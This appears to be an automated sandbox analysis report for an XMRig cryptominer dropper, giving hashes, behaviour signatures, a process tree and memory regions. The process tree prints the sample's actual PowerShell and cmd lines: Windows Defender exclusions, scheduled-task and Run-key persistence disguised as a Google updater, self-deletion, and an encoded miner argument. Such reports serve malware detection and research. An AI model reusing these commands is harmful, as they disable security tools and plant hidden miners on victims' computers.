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Resubmissions

21/07/2024, 20:17

240721-y27lvsvfll 10

06/06/2024, 10:00

240606-l14glacf9x 10

06/06/2024, 10:00

240606-l12yrscf9w 10

06/06/2024, 09:56

240606-lyrd9acf71 10

06/06/2024, 09:55

240606-lx1xascf7v 10

06/06/2024, 09:55

240606-lxyf6scf7t 10

06/06/2024, 09:35

240606-lkvvhsce2y 10

06/06/2024, 09:32

240606-lhs8xacd7v 10

06/06/2024, 09:32

240606-lhsx5sdd47 10

Analysis

  • max time kernel
    1799s
  • max time network
    1786s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/06/2024, 09:56

General

  • Target

    qM5GMXBk6hJE6Y5e (25).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3484
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3992
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4340
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3504
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3872
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:4316
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4520
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:2036
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3604
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4364
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1804
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              3⤵
              • Drops file in Program Files directory
              PID:2616
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:396
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1996
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:4428
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic PATH Win32_VideoController GET Name, VideoProcessor
                3⤵
                • Detects videocard installed
                PID:3688

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            d28a889fd956d5cb3accfbaf1143eb6f

            SHA1

            157ba54b365341f8ff06707d996b3635da8446f7

            SHA256

            21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

            SHA512

            0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            df54e042507a20ff69d209cbae83797d

            SHA1

            7bf5127be88da98b1b8372152bf7be4cde6c01b9

            SHA256

            80a9107a3980777d0c6e5c2747d045d7917a60fb33da390fe4c0ff364b539da2

            SHA512

            59bbe1a2b26182ca2155c3511d4da83bdee200a8d6b41267d000d27ccfdcd617ced56dc9cb6fbaa012d07674042595a047cf82d3aaaf71f03cba7ce5554688fe

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_efjiqvfu.q4g.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            4KB

            MD5

            fc1eb5010b6ad55adc66af2a5416b776

            SHA1

            268d970aae8bbbd076a1c34b41d6c9fbc6ebfe88

            SHA256

            3f4cb13b4f1e1fd40d1f554875df908dab5bf3233300214e9572d74c86657da9

            SHA512

            f707389df8ef9d805da128675dca3dd6ab54cf8b0b271c31fc2f886c096fbb22dc27b5767e2c1c433ad51835f874a9224cb064ea701b54b3d64e381d2fc9a77f

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            50e4af0ea56406c98e80a01d2358cf3b

            SHA1

            eae6d93ee5970135456f8cb04a28e12e7330788a

            SHA256

            de9b18e9ac07f4e3564fceca488199541b61982e937f750cae17bcabb71a65e7

            SHA512

            8b02ffe740b5c8c4cc4cc9763a5653a260620f56213eb6e2badb4d1c90ec7426548ac885243ef786615da96e11cf124c11eb67cd65bfbaaef16801262d82024f

          • memory/396-107-0x00000187D00A0000-0x00000187D00C0000-memory.dmp

            Filesize

            128KB

          • memory/396-140-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-166-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-164-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-162-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-160-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-158-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-156-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-154-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-152-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-150-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-148-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-146-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-144-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-142-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-138-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-136-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-134-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-132-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-130-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-128-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-126-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-124-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-122-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-108-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-120-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-110-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-118-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-112-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-116-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/396-114-0x00007FF6D8D00000-0x00007FF6D94F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1804-113-0x00007FF7C83A0000-0x00007FF7C83B6000-memory.dmp

            Filesize

            88KB

          • memory/1804-109-0x00007FF7C83A0000-0x00007FF7C83B6000-memory.dmp

            Filesize

            88KB

          • memory/1996-48-0x00007FF632820000-0x00007FF632A31000-memory.dmp

            Filesize

            2.1MB

          • memory/1996-106-0x00007FF632820000-0x00007FF632A31000-memory.dmp

            Filesize

            2.1MB

          • memory/3504-19-0x00007FFF8C180000-0x00007FFF8CC41000-memory.dmp

            Filesize

            10.8MB

          • memory/3504-33-0x00007FFF8C180000-0x00007FFF8CC41000-memory.dmp

            Filesize

            10.8MB

          • memory/3504-18-0x00007FFF8C180000-0x00007FFF8CC41000-memory.dmp

            Filesize

            10.8MB

          • memory/3504-30-0x00007FFF8C180000-0x00007FFF8CC41000-memory.dmp

            Filesize

            10.8MB

          • memory/3504-31-0x00007FFF8C180000-0x00007FFF8CC41000-memory.dmp

            Filesize

            10.8MB

          • memory/3604-69-0x000001759AFE0000-0x000001759AFEA000-memory.dmp

            Filesize

            40KB

          • memory/3604-74-0x000001759D720000-0x000001759D726000-memory.dmp

            Filesize

            24KB

          • memory/3604-72-0x000001759D750000-0x000001759D76A000-memory.dmp

            Filesize

            104KB

          • memory/3604-75-0x000001759D770000-0x000001759D77A000-memory.dmp

            Filesize

            40KB

          • memory/3604-71-0x000001759B060000-0x000001759B06A000-memory.dmp

            Filesize

            40KB

          • memory/3604-70-0x000001759D730000-0x000001759D74C000-memory.dmp

            Filesize

            112KB

          • memory/3604-73-0x000001759D710000-0x000001759D718000-memory.dmp

            Filesize

            32KB

          • memory/3604-68-0x000001759D510000-0x000001759D5C5000-memory.dmp

            Filesize

            724KB

          • memory/3604-67-0x000001759D4F0000-0x000001759D50C000-memory.dmp

            Filesize

            112KB

          • memory/3992-0-0x00007FF79C940000-0x00007FF79CB51000-memory.dmp

            Filesize

            2.1MB

          • memory/3992-35-0x00007FF79C940000-0x00007FF79CB51000-memory.dmp

            Filesize

            2.1MB

          • memory/4340-13-0x00007FFF8C180000-0x00007FFF8CC41000-memory.dmp

            Filesize

            10.8MB

          • memory/4340-16-0x00007FFF8C180000-0x00007FFF8CC41000-memory.dmp

            Filesize

            10.8MB

          • memory/4340-1-0x00007FFF8C183000-0x00007FFF8C185000-memory.dmp

            Filesize

            8KB

          • memory/4340-12-0x00007FFF8C180000-0x00007FFF8CC41000-memory.dmp

            Filesize

            10.8MB

          • memory/4340-7-0x00000204C0760000-0x00000204C0782000-memory.dmp

            Filesize

            136KB

          • memory/4364-98-0x0000026E51380000-0x0000026E51435000-memory.dmp

            Filesize

            724KB